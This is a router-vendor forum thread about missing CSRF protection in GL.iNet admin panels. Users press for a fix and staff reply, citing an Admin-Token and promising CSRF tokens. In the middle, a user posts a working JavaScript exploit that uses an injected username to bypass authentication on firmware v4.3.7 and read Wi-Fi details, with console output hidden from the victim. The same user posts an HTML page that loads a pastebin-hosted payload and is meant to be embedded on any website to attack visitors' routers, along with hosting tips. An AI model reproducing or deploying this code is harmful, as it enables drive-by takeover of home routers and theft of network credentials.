[Security] Add protection against malicious websites that now can hack into lan

Do you have any protection against malicious websites to use JS to open in background 192.168.8.1 and try to change anything there? Do you use CSRF tokens?

There is even special list built in UBlock to prevent this.

GL should implement CSRF tokens.

@bruce and @alzhao can you forward this to RD?

@alzhao here is more information I found:

I think it's better to add CSRF and some tweaks to dissalow WAN websites to try to access LAN via JS.

Are you supposed to just copy/paste the whole thing into "my rules"?

Currently we don't have any CSRF protection.

As my point of view, the risk of such attack is rather low.

Since the attacker has to make sure that the guys has loged in the web admin panel, and know the specific interface info, for example the web interface for WiFi SSID or password.
Then he can cheat such info in that way.

Generally speaking, as the admin panel is a local accessed website to setup the router, customer rarely come acorss such attack for the router. And the attacker has little chance to do that as well.

Yes. But how much users will do so too?

Even if low, it is still possible. I think any vulnerability must be fixed.

2 Likes

Hi

I found this thread today and decided to test vulnerabilities myself

And then found something like:
https://github.com/0x1x02/GLiNet-Router-Auth-Bypass
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb

Then I converted them into JS:

Script
// Remove all console.log to hide from user
console.log = function() {};

// Hardcoded target URL
const TARGET_URL = 'http://192.168.8.1';

async function exploit() {
    try {
        // Disable SSL verification
        const instance = axios.create({
            httpsAgent: new (require('https').Agent)({
                rejectUnauthorized: false
            })
        });

        // Parse URL
        const parsedUrl = new URL(TARGET_URL);
        const targetUrl = `${parsedUrl.protocol}//${parsedUrl.host}/rpc`;

        // Get nonce
        const nonceResponse = await instance.post(targetUrl, {
            jsonrpc: "2.0",
            id: Math.floor(Math.random() * 9000) + 1000,
            method: "challenge",
            params: { username: "root" }
        });

        if (!nonceResponse.data?.result?.nonce) {
            return;
        }

        // Generate MD5 hash
        const md5Hash = crypto.createHash('md5');
        md5Hash.update(`roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+:0:${nonceResponse.data.result.nonce}`);
        const password = md5Hash.digest('hex');

        // Login request
        const tokenResponse = await instance.post(targetUrl, {
            jsonrpc: "2.0",
            id: Math.floor(Math.random() * 9000) + 1000,
            method: "login",
            params: {
                username: "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+",
                hash: password
            }
        });

        if (!tokenResponse.data?.result?.sid) {
            return;
        }

        // Check authentication
        const checkResponse = await instance.post(targetUrl, {
            jsonrpc: "2.0",
            id: Math.floor(Math.random() * 9000) + 1000,
            method: "call",
            params: [
                tokenResponse.data.result.sid,
                "system",
                "get_status",
                {}
            ]
        });

        if (checkResponse.data?.result?.wifi) {
            return checkResponse.data.result.wifi;
        }
    } catch (error) {
        return null;
    }
}

// Execute immediately when loaded
document.addEventListener('DOMContentLoaded', async () => {
    const result = await exploit();
});

Then i created primitivd script that can be embedded on any website to attack any GL routers with vulnerable version of firmware:

Final script
<!DOCTYPE html>
<html>
<head>
    <title>GL.iNet Exploit</title>
    <script src="https://cdn.jsdelivr.net/npm/axios@1.3.5/dist/axios.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
    <script src="https://pastebin.com/raw/ATBM3NCg" defer></script>
</head>
<body>
</body>
</html>

That's why I cannot stress enough, even if you think that possibility of CSRF is low, how can you guarantee that there will no new vulnerabilities like that to be able to just execute in browser?

I think you should immediately add CSRF protection because only it will prevent such attack.

Three lines of code. And if you ever supported CSRF token, this attack wouldn't not be possible.

GL team, please consider this as vulnerability and pass to security team!

I confirmed it worked! You can use infinityfree for example to create such malicious websiteso for free.

Yeah, unauthorized access vulnerability fixed in new version, but where we can have guarantee that there will no need such one?

To add to this script things like enabling DDNS and remote access is trivial task. So it is really big issue

2 Likes

@g3n3r4l morover,

LuCI already uses CSRF tokens.

Try to open page source of the LuCI webpage and you will find somethinglike this:

L = new LuCI({
    "media": "/luci-static/bootstrap-dark",
    "resource": "/luci-static/resources",
    "scriptname": "/cgi-bin/luci",
    "pathinfo": null,
    "documentroot": "/www",
    "requestpath": [],
    "dispatchpath": [
        "admin",
        "status",
        "overview"
    ],
    "pollinterval": 5,
    "ubuspath": "/ubus/",
    "sessionid": "d735f8af85ae9f265a7a183010433b66",
    "token": "db4f1195f7578d8fd82d1ce48d9df769",
    ...

The "token" you see in this snippet is the CSRF token.

So it is really strange that Gl never added such critical feature.

@alzhao, please comment situation :l

I think CSRF should be added. It has been recorded as an request in our system.

@web @g3n3r4l Further update on this vulnerability, actually our web admin panel has the protection against this.

We have a parameter named Admin-Token, which used for identify authentication. The value varies when you access the router each time.
The attacker need to construct this parameter to perform such CSRF. He cannot take this parameter directly through JS, which means the CSRF attack is unavailable.

For example:
When you call the interface of our admin panel, it would request the user's Admin-Token, as follows:

The Admin-Token can only be obtained after you login the admin panel, and it is different for each time, which also means the value of historical login cannot be used.

Attacker must construct this same vaule to launch the attack, as shown below.

Therefore the attacker cannot perform any operation through CSRF as he doesn't know the user's login Token. While if he gets the user's login Token, he can perform any operation directly, no need to construct JS to make CSRF.

I'm not understanding...
Did you try the script from @g3n3r4l on his comment above to confirm the protection is working?

Yes we tried. But that's two vulnerabilities.
The script can only run on firmware v4.3.7 which exist another severe vulnerability bypassing the authentication. CSRF token is used to protect the forgery, shall not apply for such vulnerability.

To some extent, the admin token can behave similar to CSRF token to protect such attack.
While anyway, we will also add CSRF token to our firmware, to make it more secure and professional. Besides that, we will also keep checking the unauthorized interfaces and vulnerabilities in the firmware, to avoid such severe issue.